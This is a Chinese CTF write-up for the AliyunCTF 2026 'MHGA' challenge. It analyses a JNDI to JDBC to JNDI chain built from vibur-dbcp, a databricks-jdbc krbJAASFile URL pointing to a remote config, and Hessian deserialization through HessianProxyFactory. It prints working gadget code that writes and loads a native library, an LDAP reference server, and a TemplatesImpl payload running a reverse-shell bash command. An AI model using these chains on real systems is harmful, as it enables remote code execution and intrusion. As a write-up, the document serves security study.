本文首发于先知社区:
https://xz.aliyun.com/news/91660
前言
主要考点:
- vibur-dbcp JNDI打JDBC
- databricks-jdbc JDBC攻击实现JDBC打JNDI
- hessian在JDNI中的利用
- 高版本jdk的JNDI绕过
这里主要关注hessian工厂类在JNDI中的利用。
分析
题目总览
题目给的jar包是assembly打包,没有直接的pom.xml可以看,用了什么依赖要自己判断。这里丢给AI去判断。
得到的关键依赖如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.66</version> </dependency> <dependency> <groupId>com.databricks</groupId> <artifactId>databricks-jdbc</artifactId> <version>2.6.38</version> </dependency> <dependency> <groupId>org.vibur</groupId> <artifactId>vibur-dbcp</artifactId> <version>26.0</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.18.3</version> </dependency>
|
vibur-dbcp看起来像个连接池,应该可以从JNDI打JDBC。
databricks-jdbc 应该能通过 jdbc的url触发些什么。
hessian的话,应该是触发hessian反序列化。
Web端点很直接,就是一个jndi注入点:

JDK11:

下面按我当时的思考来分析,而不是按一开始给出的考点。
关于hessian
HessianProxyFactory
题目名字叫MHGA(Make Hessian Great Again),但给的又是个jndi的注入点。要把两者联系起来的话,就只能通过本地工厂类了。

hessian里实现ObjectFactory的就两个。
先看最终利用的那个,也就是HessianProxyFactory:

会从传入的ref中获取type,url等参数。这个type会被赋值成api,然后通过Class.forName加载,使用的类加载器是_loader,为AppClassLoader:

然后一直跟进create:

这里创建了动态代理,HessianProxy为handler,所以去看看HessianProxy#invoke:

这里根据前面的url发起了请求,并获取了返回,跟进sendRequest看看:

在这里会获取到url对应的响应。
回到invoke,下面就是重点了:

从返回的输入流中读取一个字节,如果是H,则再读取后面的两个字节。
跟进getHessian2Input:

这里直接将url获取的返回流作为Hessian2Input的构造参数,回到invoke,发现调用了readReply:

再读取第四个字节,是F就进入到readObject(HashMap.class),这个就和正常hessian反序列化一样了,一般情况如下:

所以可以填入恶意url,然后返回前四个字节+恶意序列化数据,实现jndi到hessian反序列化。
不过还有个问题。handler#invoke的触发,需要代理对象调用任意方法才行,但是题目lookup完就好了,并没有去调用其他方法。
所以这里才需要用JNDI->JDBC->JNDI的方法去打。
这里剧透一下,JDBC->JNDI是通过databricks-jdbc依赖实现的,触发代码如下:
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

这里lookup后,类型转换为javax.naming.directory.DirContext,然后调用了search,从而触发了invoke。这里也对我们返回的type有了要求,必须是javax.naming.directory.DirContext及其子类。
关于另一个工厂类com.caucho.burlap.client.BurlapProxyFactory,我也去试了一下,结果卡在类加载器上了:


这里通过api.getClassLoader获取类加载器,而api是javax.naming.directory.DirContext及其子类,都是jdk内的类。通过这种方式获取的类加载器都是BootStrap,没法加载第三方jar,导致报错。
最后再补充一下为什么hessian会有工厂类从外部获取序列化数据。
HessianProxyFactory 本质上是为 Hessian Web RPC 服务的,服务端暴露一个可以接收 Hessian 序列化数据的 HessianServlet,然后客户端就可以通过动态代理的方式与服务端的 Servlet 交互,实现 RPC 调用
具体参考:Hessian 反序列化知一二 | 素十八
hessian利用链
先直接看Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public static Object writeFilePayload(String fileName, byte[] content) throws Exception { UIDefaults.ProxyLazyValue proxyLazyValue1 = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{fileName, content}); UIDefaults.ProxyLazyValue proxyLazyValue2 = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{fileName});
ReflectTools.setFieldValue(proxyLazyValue1, "acc", null); ReflectTools.setFieldValue(proxyLazyValue2, "acc", null);
UIDefaults u1 = new UIDefaults(); UIDefaults u2 = new UIDefaults(); u1.put("aaa", proxyLazyValue1); u2.put("aaa", proxyLazyValue1);
HashMap map1 = ReflectTools.makeMap1(u1, u2);
UIDefaults u3 = new UIDefaults(); UIDefaults u4 = new UIDefaults(); u3.put("bbb", proxyLazyValue2); u4.put("bbb", proxyLazyValue2);
HashMap map2 = ReflectTools.makeMap1(u3, u4);
HashMap map = new HashMap(); map.put(1, map1); map.put(2, map2);
return HessianTools.hessianSer2bytes(map, "2"); }
|
这里选取的是hessian原生反序列化链:

有几个需要注意的点。
- 这里选取的是ProxyLazyValue,而不是SwingLazyValue,因为后者在jdk11中已经移除。
- 这里通过两层HashMap的方式,将写so/dll文件和加载文件的两条链子放在了一起。
- 这里通过HashMap#putVal触发HashTable#equals,从而触发UIDefaults#get。
JNDI->JDBC->JNDI
vibur-dbcp连接池
这个连接池和Hikari,Druid一样,都是起到通过getObjectInstance,进而利用JDBC漏洞的作用,就是串联JNDI和JDBC。这里通过idea自带的接口实现查找,很容易找到:

问一下AI这个连接池的参数怎么写:

网上也有文章:
https://www.zhattatey.top/2024/06/06/JNDI%E9%AB%98%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E4%B9%8BJDBCAttack%E6%80%BB%E7%BB%93/#vibur-dbcp
连接池部分就搞定了,现在去找JDBC漏洞。
databricks-jdbc JDBC利用
这里问AI问不出,直接去网上搜databricks-jdbc JDBC attack,结果还是很多的:

Databricks JDBC Attack via JAAS
通过krbJAASFile参数从本地或远程加载配置文件,从而再次触发JNDI注入。
url:
1
| jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=https://jdbc.pyn3rd.com:443/jaas.conf
|
conf:
1 2 3 4 5 6 7 8
| Client { com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://127.0.0.1:1389/wr4euw" group.provider.url="test" useFirstPass=true serviceName="test" debug=true; };
|
这里的触发点如下:

具体原理这里不展开了,读者可以自行研究。Databricks JDBC Attack via JAAS
高版本jdk JNDIRef绕过
在高版本jdk下:

JNDI默认不允许反序列化数据。
在更高的jdk版本下,甚至不允许第三方工厂类的引入:

题目使用的jdk属于第一种情况,所以要通过返回Ref对象的方式进行绕过,从而调用本地工厂类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { System.out.println("Send LDAP reference"); e.addAttribute("objectClass", "javaNamingReference");
Reference ref = new Reference("javax.sql.DataSource", "org.vibur.dbcp.ViburDBCPObjectFactory", null); ref.add(new StringRefAddr("driverClassName", "com.databricks.client.jdbc.Driver")); ref.add(new StringRefAddr("jdbcUrl", "jdbc:databricks://127.0.0.1:443;AuthMech=1;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=http://127.0.0.1:8078/exp")); ref.add(new StringRefAddr("username", "test")); ref.add(new StringRefAddr("password", "test")); encodeReference('#', ref, e);
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
private Entry encodeReference(char separator, Reference ref, Entry attrs) {
String s;
if ((s = ref.getClassName()) != null) { attrs.addAttribute("javaClassName", s); }
if ((s = ref.getFactoryClassName()) != null) { attrs.addAttribute("javaFactory", s); }
if ((s = ref.getFactoryClassLocation()) != null) { attrs.addAttribute("javaCodeBase", s); }
int count = ref.size();
if (count > 0) { String refAttr = ""; RefAddr refAddr;
for (int i = 0; i < count; i++) { refAddr = ref.get(i);
if (refAddr instanceof StringRefAddr) { refAttr = ("" + separator + i + separator + refAddr.getType() + separator + refAddr.getContent()); } attrs.addAttribute("javaReferenceAddress", refAttr); }
}
return attrs; }
|
这样写ldap服务就行。
非预期解
Eddie师傅的博客里还记录了一种非预期解:
alictf2026-MHGA_Fileury - EddieMurphy’s blog
这里的思路是,找一个能够实现toString–>getter的方法,从而构建原生反序列化链;然后利用JNDI–>JRMP,实现转化成原生反序列化利用。
找到了一个POJONode类,能够像jackson链一样,触发getter方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| public class PayloadGenerator {
public static Object getPayload() throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader cl = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(cl, null); } catch (Exception ignored) { System.out.println(ignored); }
byte[] code1 = getTemplateCode("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "MHGA"); setFieldValue(templates, "_bytecodes", new byte[][]{code1}); setFieldValue(templates, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl()); setFieldValue(templates, "_transletIndex", 0);
POJONode node = new POJONode(templates);
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null); setFieldValue(badAttribute, "val", node); return badAttribute; } public static byte[] serialize(Object obj, boolean printBase64) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); if (printBase64) { System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } return baos.toByteArray(); }
public static byte[] getTemplateCode(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("EvilTemplates_" + System.nanoTime()); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); }
public static void setFieldValue(Object obj, String fieldName, Object val) throws Exception { Field f = null; Class<?> c = obj.getClass(); while (c != null) { try { f = c.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } if (f == null) throw new NoSuchFieldException(fieldName); f.setAccessible(true); f.set(obj, val); } }
|
然后写一个JRMP Listener返回即可。
EXP
见 https://github.com/1diot9/CTFSolutions/tree/main/idea/2026/AliyunCTF/MHGA
先运行ExpServer启动两个Ldap服务和HessianServer,然后运行Exp即可。
在HessianServer中修改文件写入路径:

非预期解的JRMPListener也在里面,可以直接用Client连接。
后记
又学到了一种新的hessian利用方式。同时也学到了两个比较小众的连接池和JDBC的打法。另外还复习了一下JRMP。
参考
Hessian 反序列化知一二 | 素十八
第四届阿里CTF官方writeup-先知社区
alictf2026-MHGA_Fileury - EddieMurphy’s blog
Databricks JDBC Attack via JAAS
jdk8或许也要告别JNDI利用了